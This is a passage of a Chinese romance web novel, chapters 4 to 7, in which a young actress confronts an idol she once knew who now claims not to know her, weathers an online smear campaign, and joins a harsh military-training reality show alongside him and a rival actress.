他孑然一身地站在桥上,穿着深色的冲锋衣,脖颈上围着一条黑白相间的围巾,挡住了他大半张脸,那双柳叶般的桃花眼里倒映着湖泊,干净又纯粹。
洛澄看着他,眼泪不受控地从眼眶里溢出,泪水模糊了视线,可模糊不掉她这么多年,心心念念的执念。
林久期同样望着她。
洛澄吸了吸鼻子,“林久期。”
林久期从衣服包里拿出一张纸巾递给她。
洛澄一巴掌拍开他的手,纸巾掉在湖畔上瞬间溶解,消失的无影无踪,洛澄怒瞪着他,“你个混蛋!”
林久期蹙了下眉头。
洛澄还在继续骂:“你为什么不联系我?!”
林久期的眼神还是如以前那般温柔,但又带着几分困惑,“我为什么要联系你?”
“……”洛澄盯着他,半天错不开眼珠,“所以你那天发我的……”语音。
洛澄话还没说完,身后广场上放烟花炮竹的声音响彻云霄,无数烟花冲上天际。
洛澄抬头望向天空。
烟花几番转瞬即逝后,洛澄撤回视线正准备继续说,站在桥上的林久期已经走远了。
洛澄急忙绕了一圈跑上桥,追上他的脚步。
“我给你发信息打电话,你为什么从来不理我?而且这么久了,你也不联系我。”
旁边的林久期自顾自地走着,洛澄有点急眼了,一把拽住他的胳膊,两个人都停下了脚步。
“林久期!你说句话啊!”
“你想听我说什么?”
他嘴角始终上扬含着浅笑,却没有一点温度。
洛澄:“你就没有任何话想跟我说吗?所以一直都是我在自作多情,是吗?”
林久期想了想,“谢谢你的喜欢和支持。”
他一副应对粉丝的口吻,洛澄气笑了,“林久期,在你心里,你把我当什么?”
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林久期的桃花眼里的情绪虚实难辨,“粉丝。”
洛澄觉得荒谬至极,“粉丝?粉丝?!”
他开口说话的音调依旧平和,声音如清润水波,“有什么问题吗?”
“问题大了!”眼看着近在咫尺的这张脸,洛澄忍不住哽咽,“九七,你是在跟我开玩笑吗?一点都不好笑。”
“你知不知道,我为了见到你,我找了你多久……”
说话间,她泪如雨下,声音也变得嘶哑沉重,她垂下头,靠在林久期的胸口上。
林久期迅速往后退了一步,拉开了距离,他又拿出一张纸巾递来。
洛澄自嘲地笑了声,她接过纸巾攥在手里,“九七,可不可以,别闹了。”
突兀的铃声在此刻响起,是刘俊打来的。
“期哥,你在哪儿啊?快回来了,准备煮饺子了。”
林久期温吞应下,“好。”
挂了电话,他思索了片刻后,道:“洛澄。”
洛澄眼角还挂着泪水,抬起头看他。
他始终谦逊有礼,“挺晚了,早点回去吧。”
“……”
林久期手揣兜,大步离开,身影没在了黑夜里。
-
洛澄回到家里。
她缩在自己的房间,给乔媛媛发去消息。
【我见到林久期了。】
乔媛媛:【在莫川?】
乔媛媛:【他怎么会去莫川?他去找你的?】
洛澄看着这条消息,苦涩在心里蔓延。
【不是。】
乔媛媛:【怎么样?你们见面,发生了什么?】
【没发生什么,但是……】
洛澄犹豫了下,剩下的话没有发完。
乔媛媛:【别大喘气,但是什么,说完。】
洛澄:【我总觉得他怪怪的。】
另一边——
刘俊:“期哥,你去哪儿了?”
林久期进屋脱下外套,“随便逛逛。”
刘俊端着煮好的饺子过来,定眼一瞧,“期哥,你这衣服上怎么白白的?”
林久期低头一看。
刘俊仔细端详了会儿,“你这衣服上是粉啊。”
“期哥,你不会背着我和小姑娘约会去了吧?”
林久期思绪飘向刚才在桥上的一幕,而后否认:“没有。”
刘俊看热闹不嫌事大,“那你这衣服上的粉怎么解释。”
林久期伸手从桌上的抽纸里扯出一张,擦着衣服,“遇到一位粉丝,不小心蹭到的。”
刘俊一字一顿,极其缓慢地说:“粉,丝,啊。”
他不太信,“什么粉丝往怀里钻啊?”
林久期的声音淡淡的,“普通粉丝。”
刘俊眯着眼,第六感突然显灵,“该不会是洛澄吧?”
林久期轻“嗯”一声。
“卧槽,真是她啊?!”刘俊险些惊叫出声,想到爷爷还在休息,他又马上压低声音,道:“我感觉这洛澄好像对期哥你不太一样,尤其是上次她在路边拉着你的模样,她看你的眼神就好像……”
衣服上的粉擦掉后,林久期放置在一旁,随口问了句:“像什么?”
刘俊毫不避讳:“就像是看到了多年不见的爱人。”
林久期脑海里再次一闪而过刚才在木桥上的画面。
很奇怪,明明自己不该有任何反应,可为什么看到她哭的时候,心里有种说不出来的滋味。
刘俊贼兮兮笑着:“期哥,你该不会是瞒着我们,偷偷和洛澄在搞什么地下恋情吧?!”
林久期:“没有。”
刘俊追问:“真的没有吗?我看着可不像啊。”
静默良久,林久期清俊面容上的薄唇轻启:“我不认识她。”
5. 第5章
自从过年那天见到林久期后,洛澄就魂不守舍的。
乔媛媛实在是看不下去了,她从冰箱里拿出四瓶啤酒放在茶几上,“喝一个?”
洛澄拉开茶几下的抽屉,拿出大包小包的零食,以示同意。
乔媛媛撕开一包薯片,“那天过后你们就没见面了?”
洛澄喝了口酒,旋即伸手从她手中的包装袋里拿出一片入口,“嗯。”
“所以他去莫川干什么,他又没有亲戚在那边,除了你在莫川,我实在想不到他能认识第二个在莫川的人了。”
“我也不知道。”
乔媛媛这分钟脑洞大开,“你说,有没有一种可能,他是在避嫌啊?”
洛澄注视着她,等她继续说。
“你看啊,作为大明星,公司一般不是都会要求他们不能谈恋爱吗,就算要谈恋爱,也不能让大众知道,所以,”
乔媛媛故意卖关子,洛澄手肘碰了碰她,“所以什么?”
乔媛媛清了清嗓子,“你俩以前关系那么好,但他为了遵守公司规定,所以在外就故意装作和你不熟的样子。”
心觉乔媛媛说的有些道理,洛澄撑着脑袋,陷入沉思。
可她还是觉得哪里不太对劲,“那他总得跟我解释一下吧,他什么都不说就算了,那天他居然还说他只是把我当粉丝。”
“那确实是有点过分。”乔媛媛忽而冷不丁冒出一句,“你当时居然没生气?没给他头上暴扣?”
“气死了好吗。”一想起那天的画面,洛澄就气不打一处来,她使劲咬碎嘴里的薯片。
乔媛媛咽了咽口水,“他,还好吧?”
作为十多年的闺蜜,洛澄一下就听明白了她什么意思,“我没打他,我像是那种喜欢动粗的人吗?”
乔媛媛端详着洛澄这张极为幼态的脸。
明明已经是快22岁的人了,却有一张十七八岁的脸,再加上她一笑起来脸上有若隐若现的酒窝,看上去妥妥是位灵韵软萌的甜妹。
但,这位“甜妹”比任何人都凶悍。
乔媛媛笃定且认真地说:“不是像,就是。”
-
洛澄第二天醒来时就看到了10多个未接电话。
全是助理小玲打来的。
微信里也全是小玲发来的消息,足足几十条。
大致是关于洛澄上了微博热搜的事。
网上传了洛澄打赵芮情的视频,整段掐头去尾,赵芮情先打洛澄的片段连一秒钟都没有。
明显就是被人恶意剪辑过的,仅凭一夜之间就冲上了热搜榜。
洛澄很难不怀疑,是赵芮情故意买了流量来黑她。
小玲已经在洛澄家楼下接她了。
洛澄一上车,就听到小玲愤愤不平道:“肯定是赵芮情干的!她怎么能这样啊!”
评论区都在骂洛澄一个十八线的小明星,怎么敢这么欺负一线大牌的。
骂的是一个比一个难听。
就连洛澄粉丝发言维护她,也一同被网友骂。
包括公司,盛兴传媒。
【盛兴传媒签人也不看人品吗?什么人都敢要啊。】
【老板为了赚钱,什么事做不出来。】
经纪人吕菲打来电话,“喂,洛澄,来公司一趟。”
商务车开至盛兴传媒大楼下。
不少媒体记者已经把门口围得水泄不通。
洛澄都还没下车,所有人扛着摄像机就蜂蛹围了上来。
“洛澄,你和赵芮情是有什么个人恩怨吗?”
“作为盛兴传媒的艺人,你凭什么觉得你能惹得起赵芮情?是盛兴传媒在背后给你撑腰吗?”
七嘴八舌的问话吵得洛澄脑袋疼,她紧闭着嘴,在安保人员的保护下,一路挤进大楼,这才算消停。
乘着电梯上楼,吕菲已经等候多时了。
小玲率先开口道:“菲姐,这个视频是被人恶意剪辑过的!当时在现场,是那个赵芮情一直在欺负澄姐,现场的人都看到的!”
吕菲踩着细高跟鞋,领着她们往里走。
“我知道了。一会儿老板来了,你们别说话。”
三人最后停在一间办公室前。
两分钟后,不远处大步而来一位穿着裁剪合体的深色西装的男人。
洛澄:“明总。”
吕菲:“老大。”
几人跟着明朔进到办公室,门关闭时发出一声闷响,震得洛澄心里发怵。
她这是第一次见到盛兴传媒的老板,明朔。
就连她签约当天,也是他的助理出面的。
明朔坐于沙发处,袖口微卷,左腕上戴着一块棕色皮质的细带手表。
他天生眉目深邃,矜贵斯文的脸上架着金色眼镜,他即使一言不发,也依旧气场慑人。
办公室内窗户禁闭,温暖的空调弥漫在整个空间里,可洛澄还是感觉周围的空气快冷得掉冰渣了。
那位男人注视着眼前笔直站着的三人,从左至右,无声地凝视宛如凌迟。
许久。
明朔目光寒凉,“这个视频怎么回事?”
说罢,手机甩在桌子上,发出剧烈的声响。
洛澄心里的警钟也跟着敲响。
吕菲想要开口解释:“明总,这件事是因为……”
“我不是在问你原因。”明朔打断她,“为什么在片场会发生这么蠢的错误?为什么事发后没有第一时间压下来?”
凛冽逼人的压迫感让洛澄始终垂着头,不敢与男人对视,她感觉自己脖子上像是悬着把刀,随时随地因为男人的一句话,就会砍下。
洛澄垂在身侧的手不由握紧。
多说多错,这个时候她最好的选择就是保持安静。
就怕一个不小心让老板动怒,那她这么多年要闯进娱乐圈的努力,就全白费了。
即便如此,洛澄也实实在在感受到对方那让人背脊发凉的视线,就落在她身上。
“洛澄,公司培养你,不是让你靠这点小名气就到处惹事的。”
明朔的声音里蕴着危险的意味,他话落,办公室里再次陷入一片寂静。
片晌后。
明朔开口道:“这件事公司会处理,但我希望你以后做事,多想一下自己有没有承担后果的能力。”
嗯?
洛澄恍惚抬头,终于对上男人那寒气袭人的目光。
明朔眸光幽深似潭,“你出去吧。”
洛澄:“是。”
等洛澄和助理小玲离开办公室后。
吕菲才道:“明总,要出文道歉吗?”
“道歉?”
明朔推了推眼镜,周遭还漫着方才未散去的那股令人噤若寒蝉的压迫,“为什么要道歉?”
“我知道了,我会处理好的。”吕菲想起一事,“明总,还有那个王许山,他最近一直在针对洛澄,您看……”
“你忌讳他?”
“他毕竟是华瑞集团的老总。”
明朔面色冷凝,“吕菲,别人都欺负到你头上了,你打算忍着吗?”
“是,我明白了。”吕菲明了,恭敬道:“没什么事的话,老大,我先出去了。”
明朔淡漠地看着沙发靠垫,“对了,下周团建,带她一起。”
吕菲:“好。”
吕菲出来后,洛澄和小
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玲一直在门外等着。
见两人脸上满是愁容的样,吕菲安抚道:“没事了。刚才老板说的话,你别放在心上,他这人一向嘴硬心软的。”
吕菲补充一句:“下个周三团建,到时候我去接你。”
小玲眼睛都亮了,“团建?菲姐,什么团建呀?”
洛澄刚才和小玲就听到路过的人都在讨论团建的事,各个看上去都很期待。
她们作为刚签约的艺人以及刚入职的新人,还是头一次参加。
吕菲:“公司团建,你们来了就知道了。”
-
盛兴传媒的团建的地点是在老板明朔的私家庄园。
庄园布置精美,绿草如茵,花团锦簇,中央摆放着一座华丽的喷泉,周围是琳琅满目的雕塑点缀,内院的别墅像是富丽堂皇的古堡,带着浪漫且高贵的气息。
几百号人聚集在此,洛澄扫视了一圈,她基本都能喊上名,但跟他们一个都不熟。
洛澄还以为作为盛兴传媒头牌的林久期会来,可从天亮一直到傍晚,连他人影都没瞅见,包括他两位TheOne队员,也没来。
小玲一直陪着洛澄,好在有人搭伴说话,也不算无聊。
到吃晚餐的时间,洛澄只想早早吃完结束,她好回家。
她怎么也没想到,一直没出现的老板明朔,在晚餐的时候也来了,而且还带来了一个消息。
有一个特种兵训练的综艺,在这个月月底开拍,盛兴传媒拿到两个名额。
在明朔说完后,底下鸦雀无声。
比起那些玩游戏的娱乐综艺,这种吃力不讨好的节目,自然是没人愿意去受苦。
洛澄坐在角落,暗暗握了握拳。
等所有人都从餐厅散了之后,洛澄单独找上了明朔。
“明总,我想去。”
-
“洛澄,你疯了?”
乔媛媛看着正在房间里收拾行李的洛澄,“你真要去那什么特种兵的综艺?”
“当兵的训练和我们读书的体育可一点都不一样,你可要想清楚了,很苦很累的!”
“我想清楚的。”洛澄的语气格外认真:“只要是任何能曝光露脸的机会,我都干。”
即使过了立春,临近三月,盐城市任然寒风呼啸,冷得刺骨。
每一位来到基地门口的艺人,一下车,都止不住哆嗦,脸上像被冰刀划过似的,割得人生疼。
“怎么赵芮情也来了啊。”
小玲十分不悦,谁知道这大小姐会不会又作什么幺蛾子。
洛澄往旁边瞟了眼,正巧对上赵芮情打探而来的目光,两人对视不过三秒,洛澄先一步瞥看视线。
她不以为意地用手机继续回着信息。
【我到了。】
乔媛媛:【好好好,你自己照顾好自己啊。】
洛澄:【放心。】
洛澄打了个寒颤,手指仿佛要冻成冰块了,她连忙收了手机,手揣在衣兜里。
身旁的小玲打了个喷嚏,她揉了揉鼻子,四下看着,目前来的艺人都是其他公司的,“不是说有两个名额吗?也不知道另外一位老师是谁。”
话音未落,一辆黑色的商务车开来。
停靠在基地门口。
车门打开,先映入视线的是迈出的修长双腿,尔后,那人下了车。
他乌黑的发梢被寒风吹得有些凌乱,额发轻掠,眉宇间透着几分温和之意,一双深褐色的眼睛泛着迷人的色泽,让人移不开眼。
他虽未言语,但周身的气质像玉一般温润,让人倍觉温柔。
洛澄像是被胶布封住,动弹不得。
是他。
6. 第6章
“久期,好巧啊,没想到能在这里遇到你。”
赵芮情大大方方走到林久期身边嘘寒问暖。
其他想上前打招呼的艺人见状,纷纷怯了步,只好在一旁观望着。
旁边有人窃窃私语。
“不愧是期情六欲CP,站在一起还真是般配。”
“网上都传从不近女色的林老师,只对赵老师不一般,你说他俩私底下该不会真的在一起了吧?”
“假的吧,我看林老师对她也没多特别啊。”
洛澄没有偷听的癖好,但无奈讨论者就站在她旁边。
林久期和赵芮情?
虽然网上的传言她是有所耳闻的,但是他们俩谈恋爱?
怎么可能。
但是……
洛澄一直觑着不远处谈话的两人,也不知道在说些什么,赵芮情笑得只有那么开心了。
“真假啊。”小玲忍不住小声吐槽:“巧什么巧,谁不知道她是因为林老师在,她才来的。”
赵芮情作为大小姐,从小到大被娇生惯养,打戏找替身,脏活累活找替身。
像特种兵这种极苦的活,她万万是不可能参加的。
而谁都知道,从以前到现在,只要是有林久期在的地方,那一定能瞧见赵芮情的身影。
次数多了,网友都忍不住嗑起他们的cp。
要说巧合?谁能信。
洛澄眼睫轻颤,没有接话。
所有人陆陆续续来了,都站在门口等待集合。
教官徐冷时刻关注着腕上手表的时间,“集合!”
一声令下,洛澄拖着行李箱第一时间走过去站好,其他的艺人也不太当回事,慢悠悠地才过来。
“磨磨蹭蹭的干什么,动作快点!”
徐冷手背在身后,板着脸,对着一旁另一名教官杨勉说:“点名。”
“是。”杨勉拿着手里的花名册,从上至下,依次念到:“郑巧儿。”
“到。”
“洛澄。”
“到。”
“林久期。”
“到。”
“……”
“詹江已。”
无人应答。
杨勉又喊了一遍,眼神巡视着在场的所有人,“詹江已!”
就在此刻,一辆红色跑车开过来停在他们眼前。
外套白色夹克,内穿红色毛衣,带着钛合金项链的男人从车上下来。
他吹了声口哨,吊儿郎当道:“教官,我在这儿。”
他头上还带着红色冷帽,一身红白穿搭,在众多人群中格外扎眼。
所有人都被他吸引去了目光。
徐冷面无表情道:“你迟到了。”
詹江已看了眼手机上的时间,09:03:42.
随即嬉皮笑脸道:“男主角一般都是压轴登场。”
徐冷:“四十个俯卧撑,现在开始。”
詹江已笑了下,悠哉开口,并不当回事,“教官,三分钟而已,没必要吧,我路上有点堵车,也不是故意的。”
徐冷面色一冷,“做不了就滚蛋,哪来这么多废话。”
“得。”詹江已揣好手机,拉上夹克的拉链,“不就四十个吗,我做。”
徐冷朝杨勉道:“给他数着。”
杨勉:“一,二,三……”
做到第二十九个的时候,詹江已就有点吃力了。
徐冷冷嗤:“怎么,刚才不是挺狂的?才三十个就不行了?”
詹江已撑在地面上的双手已经冻得通红,他一咬牙,众目睽睽下做满了四十个俯卧撑。
他撑着身子站起,脸上依旧轻佻样,他扯了下唇角,“做完了。”
“入列。”
徐冷觑他一眼,转而朝着所有人,道:“从今天开始,你们将在这里生活一个月,体验真正的军人生活。”
“我知道,你们都是娇生惯养的明星,平常就唱唱歌跳跳舞,没吃过什么苦,但是!我不管你们出于什么目的来到这,既然进到了这里,就得按这里的规矩办事!”
“你。”徐冷走到詹江已面前,“一会儿去那边把你这蓝了吧唧的长发给剪了。”
詹江已那头蓝色头发被冷帽压着,不注意看,还真没留意到。
“教官,这是潮流色,而且我这头发叫狼尾,是个性,个性你懂吗?”
徐冷:“我不懂像个蓝精灵的脑袋有什么个性。”
闻言,旁边人哄笑声一片。
徐冷吼道:“笑什么笑!都给我站好了!”
“杨勉,毛诚,领他们去宿舍。”
话落,艺人们陆陆续续跟着两位教官进入基地。
洛澄走在最前面,当小玲提着包跟在旁边想一块进去时,却被人拦住。
徐冷出声:“所有陪同的人一律不准进。”
赵芮情不满:“为什么啊教官。”
徐冷:“进了这里,你们还想有人伺候?”
小玲丧着脸。
洛澄拍了拍她肩膀,拿过她手上的手提包,“没事的。”
小玲:“澄姐,你一个人在里面一定要照顾好自己,有任何事一定记得给我打电话。”
洛澄:“好,你快回去吧,注意安全。”
随后,所有人抵达宿舍楼底。
在他们面前放着十六个收纳箱,有人好奇问:“这是要做什么?”
他们前脚刚到宿舍楼下,徐冷后脚走过来。
“站好了!”徐冷一声令下:“十秒钟时间,女生站在第一排,男生站在第二排!”
叽叽喳喳一片。
“诶哟!”
“你踩我脚了!”
“别撞我啊,长没长眼睛啊!”
“停!”面前慌慌张张乱成一团,徐冷眉梢皱在一起,“我是让你们换位置,不是用嘴换,吵什么吵!”
“站好了!”等他们站好,徐冷才道:“向右看齐,向前看。”
“给你们五分钟的时间,把你们的生活用品放在面前的箱子里,其余东西一缕放在行李箱里,包括你们的手机。现在开始。”
所有人忙手忙脚地打开行李箱,开始整理。
洛澄从行李箱里翻出某样东西,趁没人注意,偷偷揣进了衣服口袋里。
徐冷扫视着十六人,“还有你们身上什么项链戒指,也全给我摘了。”
五分钟时间到。
教官开始检查箱子里的物品。
徐冷走到其中一个男生跟前停下脚步,目不转睛盯着箱子里的某样物品,“你带这个来这儿?”
男生正经回答:“报告教官,这是泡面。”
徐冷蹙着眉,“我用你说这是泡面?拿出来。”
男生:“我怕晚上饿。”
徐冷:“拿出来!”
徐冷继续检查,走到下一位女生前,弯腰拿出一个白色的塑料瓶,里面装着许多白色颗粒。
“这是什么?”
女艺人回道:“报告徐教官,这是老鼠药。”
“……”徐冷脸色一沉,“你拿老鼠药干什么?毒我吗?”
女艺人:“我怕住的地方有老鼠。”
周围的人没忍住,笑出声来。
徐冷走到其中一位男艺人面前,“笑什么?很好笑吗?”
男艺人扬起的嘴角立马拉了下来,一动不敢动。
等所有人的箱子都检查完毕后,徐冷走回最前面。
“我叫徐冷,猎豹突击队一队队长,这位是杨勉,担任一班班长。这位是毛诚,担任二班班长。”
“女生新兵一队,男生新兵二队,听清楚了吗?”
众人齐声:“听清楚了!”
“所有人,抱着你们的箱子,跟着杨教官和毛教官上楼。”
徐冷补充道:“作训服已经放在你们的宿舍里了,给你们十分钟的时间,换好了下来集合。”
徐冷看着手表,“你们还有九分二十八秒。”
十六人,八男八女,刚好被分成了四间宿舍。
都在二楼,男生宿舍在走廊的右边,而女生宿舍在走廊的左手边。
宿舍是四人一间,洛澄和赵芮情以及其他两位艺人被分配在了同一间。
其中一位女艺人率先打起招呼,“你好,我叫郑巧儿,天悦娱乐的,她和我是一起的,她叫谢彤。”
洛澄微笑回应:“你们好,我叫洛澄。”
谢彤朝她点了点头。
郑巧儿看向一直站在门口的赵芮情,“你不进来吗?”
“这么脏的地方,怎么住得下去。”赵芮情斜视一眼,十分嫌弃,骂
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骂咧咧转身离开,“受不了,我要去找导演。”
“喂,你怎么走了?!”
“别去。”
谢彤拉住站起来准备往外走的郑巧儿,小声说:“她是赵老师。”
郑巧儿:“赵老师?”
谢彤:“华美娱乐的赵芮情。”
郑巧儿恍然:“是她啊。”
她转头朝向在换衣服的洛澄问道:“对了,还没问你,你是哪个娱乐公司的?”
洛澄整理着装,“我是盛兴传媒的。”
郑巧儿惊叫出声:“盛兴传媒?!那你岂不是和林老师是一家公司!”
洛澄被吓了一跳,帽子掉在了地上,郑巧儿激动地抓着她的手,她怔了怔,“嗯对。”
郑巧儿:“太棒了!我从初中开始就一直喜欢他!你可不可以帮我找他要个签名啊?”
洛澄细密的睫毛颤了颤,“我和他,不熟。”
郑巧儿“啊”了声,“那也太可惜了。”
“我听说盛兴传媒的艺人各个都是俊男靓女,天生丽质,今天看到,果然啊。”
郑巧儿眼睛不眨一下地瞅着洛澄的脸,“如果我是男的,我一定会被你这张脸迷得死死的。”
“……”洛澄眉眼弯了弯,“你也很好看。”
郑巧儿忽然一言不发,洛澄被她盯得有些浑身不自在。
顷刻后,“你,你难道是,洛学姐?!”
洛澄一脸茫然:“你认识我?”
“当然呀!我在校园人物访谈周刊上看到过你的照片,而且我一进校的时候就听说,我们学校的音乐学专业有一位翻唱大神,是位姓洛的学姐!”
郑巧儿的神色既紧张又兴奋,明亮的眼里闪着光芒,“天啊天啊,我今天见到本尊了!我超喜欢你翻唱的月牙湾!”①
洛澄和郑巧儿聊后才得知,郑巧儿也就读于盐城大学,不过她已经大四了,郑巧儿是大一新生。
郑巧儿是童星出道,演过不少戏,在娱乐圈里大家对她有个很亲切的称呼,国民闺女。
两人正聊着,门口传来赵芮情咬牙切齿的声音。
“他以为他是谁啊,当教官了不起啊,拽什么拽。”
郑巧儿纳闷,“她怎么了?”
洛澄随口道:“估计是没换成宿舍,在怄气,不用管她。”
赵芮情刚受了教官的训,这会儿受了气,忍不住发泄出来,“喂!你俩是在说我的坏话吗?!”
洛澄冷睨着她,“赵芮情,你这被害妄想症是改不掉了是吗?”
“你算个什么东西,敢这么和我讲话?”赵芮情推了下洛澄的肩膀。
郑巧儿见状马上拉开两个人,“好了好了,大家都是一个宿舍的,和气生财和气生财!”
赵芮情指着郑巧儿和一直默默坐在一边的谢彤,“你们俩,别被她现在这个样子给骗了。实话告诉你们,她洛澄,以前是个偷东西的混混!”
洛澄觉得好笑,“我偷什么了?”
赵芮情双手环胸,表情是浓到化不开的厌恶,“你说你偷什么了?初一的时候,我的手表就是你偷的!当时如果不是他帮你,你以为我会放过你吗?!”
郑巧儿还在努力劝好着,“是不是有什么误会啊?”
“误会什么误会!”赵芮情不依不饶,嗓门有些大,一副趾高气昂的样子,“她洛澄就是手脏!没家教的东西!”
往日那些不好的记忆浮现在洛澄脑海里,她努力克制心里的怒火,可精致的眉眼仍旧染上怒气,“赵芮情你嘴巴给我放干净点!”
宿舍门没有关,听到吵闹声,住在隔壁的其他明星都过来凑热闹,门口围了不少人。
“吵什么吵!”
杨勉赶了过来,“是想把整栋楼的人都叫来看你们吵架吗?!”
“衣服换好了吗?!”
郑巧儿怯怯的说:“教官,换好了。”
“换好了就下楼!”
宿舍楼下。
等十六个人都来齐后。
徐冷:“全体都有,稍息!”
“听说有人在楼上差点打起来是吧?”
徐冷淡淡扫了两人一眼,凶狠的目光让人头皮发麻,所有人大气都不敢喘一下。
沉默数秒。
徐冷:“洛澄,赵芮情,出列!”
7. 第7章
“洛澄,赵芮情,出列!”
“你们俩想吵是吧,来,现在在这里,当着所有人的面,给我吵一个。”
徐冷黑着脸,厉声责斥道:“怎么不说话了,都哑巴了?刚才声音不是挺大的吗,我站在这里都能听见!”
洛澄和赵芮情默不作声站着,始终没人敢开腔反驳,这时候谁敢说话,就是活生生的枪把子。
“你们两个,罚跑操场十圈。”
话毕,洛澄眉间轻跳。
十圈……
听到了有人漠不关己地偷笑,徐冷看过去,那人马上闭紧了嘴。
赵芮情心有不服,忍不住道:“是洛澄她先……”
徐冷:“十五圈。”
赵芮情:“徐教官!”
徐冷:“二十圈!”
洛澄已经开始跑了,赵芮情咬咬牙,跺了跺脚往操场跑。
“来到这,就要服从命令,绝对的服从!懂吗!”徐冷说:“其他人都有,立正!剩下的人八圈,开始吧。”
其他人本是一副看热闹不嫌事大的样,这突如其来的命令让不少人脸一阵黑一阵白。
“啊?!”
“八圈?!”
“徐教官你在开什么玩笑!”
“我像是在和你们开玩笑吗?”徐冷看了眼时间,“现在是十一点十三分,十二点之前不跑完,就别吃午饭了!”
某位男艺人觉得憋屈,“是她们没纪律,凭什么我们也要跑!”
“就凭你们现在是一个整体。”徐冷说:“给我记清楚,从现在起,一个人犯错,全体受罚!”
军营的操场一圈是400米,在学生时期,经历过最长的跑步就是体测的的1000米了,总共不超过3圈。
而现在,一上来就是10圈,对于大多数人来说根本就是完成不了的事。
时间一分一秒过去,不少人在第5圈的时候就已经体力透支,越跑越慢了。
有人实在坚持不住停了下来,“不行了不行了,真是要老命了,跑不动了。”
只要有一个摆烂,其他人见状,也会连二连三的跟着一起。
他们从跑改成了走,徐冷一直守在旁边,吼道:“是不想吃饭了吗?!你们还有二十分钟的时间!”
洛澄根本没有精力去注意周围的声音,耳边只有冷风呼啸的声音,汗水早就浸湿了衣衫,她双腿累的发麻,就像是腿上挂了千斤重,每迈出一步都极其艰难。
她目视前方,坚持着机械般地跑着。
坚持一下,马上就结束了……
骤然,从旁而过的某位艺人不小心撞了一下她的肩膀,她双腿一软,整个人瘫跪了下去。
“还有五分钟!”
听到徐冷的声音,她还有最后两圈……洛澄顾不上膝盖的疼痛,她强撑着地面,踉踉跄跄站起身继续。
前面距离她不远的郑巧儿摇摇晃晃的,看上去风一吹就要倒了。
果不其然,她脚一空,身子往旁边倾了下去。
幸好洛澄及时出现扶住了她。
她头晕目眩的,虚弱道:“学,学姐。”
“别说话,省点力气。”洛澄忍着疼的快冒烟的喉咙,“还可以吗?”
郑巧儿:“可,可以。”
最后五分钟的时间宛如过了一整个世纪,每一秒都漫长而煎熬。
所有人跑完都陆陆续续瘫躺在了地上。
“久期,我们……我们真的是,牛逼惨了。”
詹江已躺在地上,已经顾不得前一天因为刚下过雨而潮湿的塑胶道了,他还不忘自夸一番。
林久期佝偻着腰双手撑着膝盖,额上豆大的汗水不断从肌肤上滑过,眼睛胀痛,他使劲闭了下眼。
再抬眼时,正好看见扶着郑巧儿跑完最后一圈的洛澄。
她膝盖处有明显搓脏的痕迹,那双青葱玉指也都是灰,手掌上还有划破皮的伤口,隐约渗着血。
郑巧儿:“洛学姐,你去处理下伤口吧,别感染了。”
洛澄攥着袖口,手往里缩了缩,“不碍事。”
最后一个跑完的是赵芮情。
徐冷看时间,11:59分。
“起立!”
所有人从地上爬了起来,个个像蔫了的黄瓜,快要虚脱了。
徐冷朝着两位班长道:“带他们去吃饭。”
-
下午两点,军营操场。
摄像工作人员已经在旁边搭好了设备,从他们今早一踏进基地门的那一刻,拍摄就开始了。
场地上除了他们以外,还有许多正在训练的兵队。
所有人都以为经过早上魔鬼跑步之后,下午能轻松些,可当看到徐冷那副铁面无情的脸。
想休息?必不可能。
十六人站成了两排。
徐冷的目光扫过詹江已,在中午的时候,他就去把蓝色的头发染回了黑色。
徐冷没再挑剔什么,移开目光,詹江已心里才堪堪松了口气。
徐冷:“所有女生,给你们五分钟的时间,去把妆卸了。”
洛澄是第一个应声后往宿舍跑的人。
而以赵芮情为首的几位女艺人站在原地,纹丝不动。
徐冷:“怎么,不愿意?”
“教官,”赵芮情往不远处的导演组瞟了眼,“为什么要卸妆?”
“为什么?”徐冷反问后,音量提高了不少,“你们是来训练的,不是来选美的!”
在她们犹豫不决,被教官训斥的时候,洛澄和郑巧儿等人已经洗漱好回来了。
徐冷和两位班长在交代事情,詹江已这才敢肆无忌惮地说话。
他眼睛一亮,“哟,这洛澄可真是个美人儿,卸了妆和化妆的样子也没什么区别嘛。”
听到身边的话,林久期不由往洛澄的方向留意几眼。她站在他的侧前方,仅隔着两个人。
她的侧颜被光线勾勒出柔和的轮廓,光滑白净的脸像是白釉,五官说不上惊艳,但柳眉圆眼,是副清纯初恋的长相。
在娱乐圈一众媚态的长相里,是挺清晰脱俗的。
詹江已还准备说些什么,徐冷走了回来,他迅速闭紧了嘴。
下午训练的第一项:俯卧撑。
徐冷:“所有人,俯卧撑准备!”
下午的天气并没有回暖,呼出的气还能凝成白雾。
洛澄双手撑在冰冷的地面上,早上的伤口还没有愈合,寒气顺势往里钻,侵蚀着身体的每一处。
“一,二,一,二……”
跟随着徐冷极其缓慢的节奏,洛澄的身体下去又上来,每做一个俯卧撑,就感觉自己手上的伤便撑破一次,十指连心,像无数银针刺痛。
她用力咬着下唇,密密麻麻的冷汗往下滴,晕在跟前的地板上。
直到徐冷那声“起立”,洛澄才仿佛解脱。正要起身,头晕目眩,她眼前一黑,身子不由往旁歪了下,险些摔倒。
徐冷见她面色苍白,“洛澄,能不能坚持?”
洛澄缓过神,一时间起猛,低血糖犯了,她坚持道:“能。”
-
晚上八点,宿舍内。
郑巧儿坐在床上揉着酸痛的小腿,“那个徐教官也太凶了吧,他真是人如其名,性格和他名字一样,冷冰冰的,一点人情味都没有。”
谢彤擦着护肤品,“他挺好看的。”
郑巧儿:“好看有什么用啊,性子不好,我
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以后找老公可不想找他这样的。”
洛澄刚洗完澡回来,身上一整天都黏答答的,实在难受的紧。
她拿着衣服挂在阳台上,军营的哨声骤然响起。
郑巧儿吓一激灵,“什么情况?”
谢彤:“集合了。”
一片慌乱中,所有人离开宿舍。
徐冷,杨勉,毛诚以及其余几位教官正站立在宿舍楼底下。
见零零散散才到的艺人们,徐冷催促道:“都是二十多岁的年轻人,怎么动作比上了年纪的老头老太还要慢!”
闻言,这才加快了脚步。
“哨声响,所有人必须在两分钟之内整装下楼集合!”徐冷看了一圈,“詹江已去哪了?”
其中一位男艺人道:“徐教官,他拉肚子。”
“说话之前要打报告,没人教过你吗?”徐冷吼道:“重新说!”
男艺人:“报告,詹江已拉肚子。”
徐冷:“报告声音不够大,再来!”
男艺人提高音量,“报告!詹江已拉肚子!”
声音大到可能方圆十里外的人都能听见了。
詹江已小跑着回来,就听到自己的事被大声宣扬。
他觑着说话那人,“是很光荣的事吗,你那么大声干什么?”
徐冷:“你也知道很丢脸啊。”
詹江已:“徐教官,人有三急。”
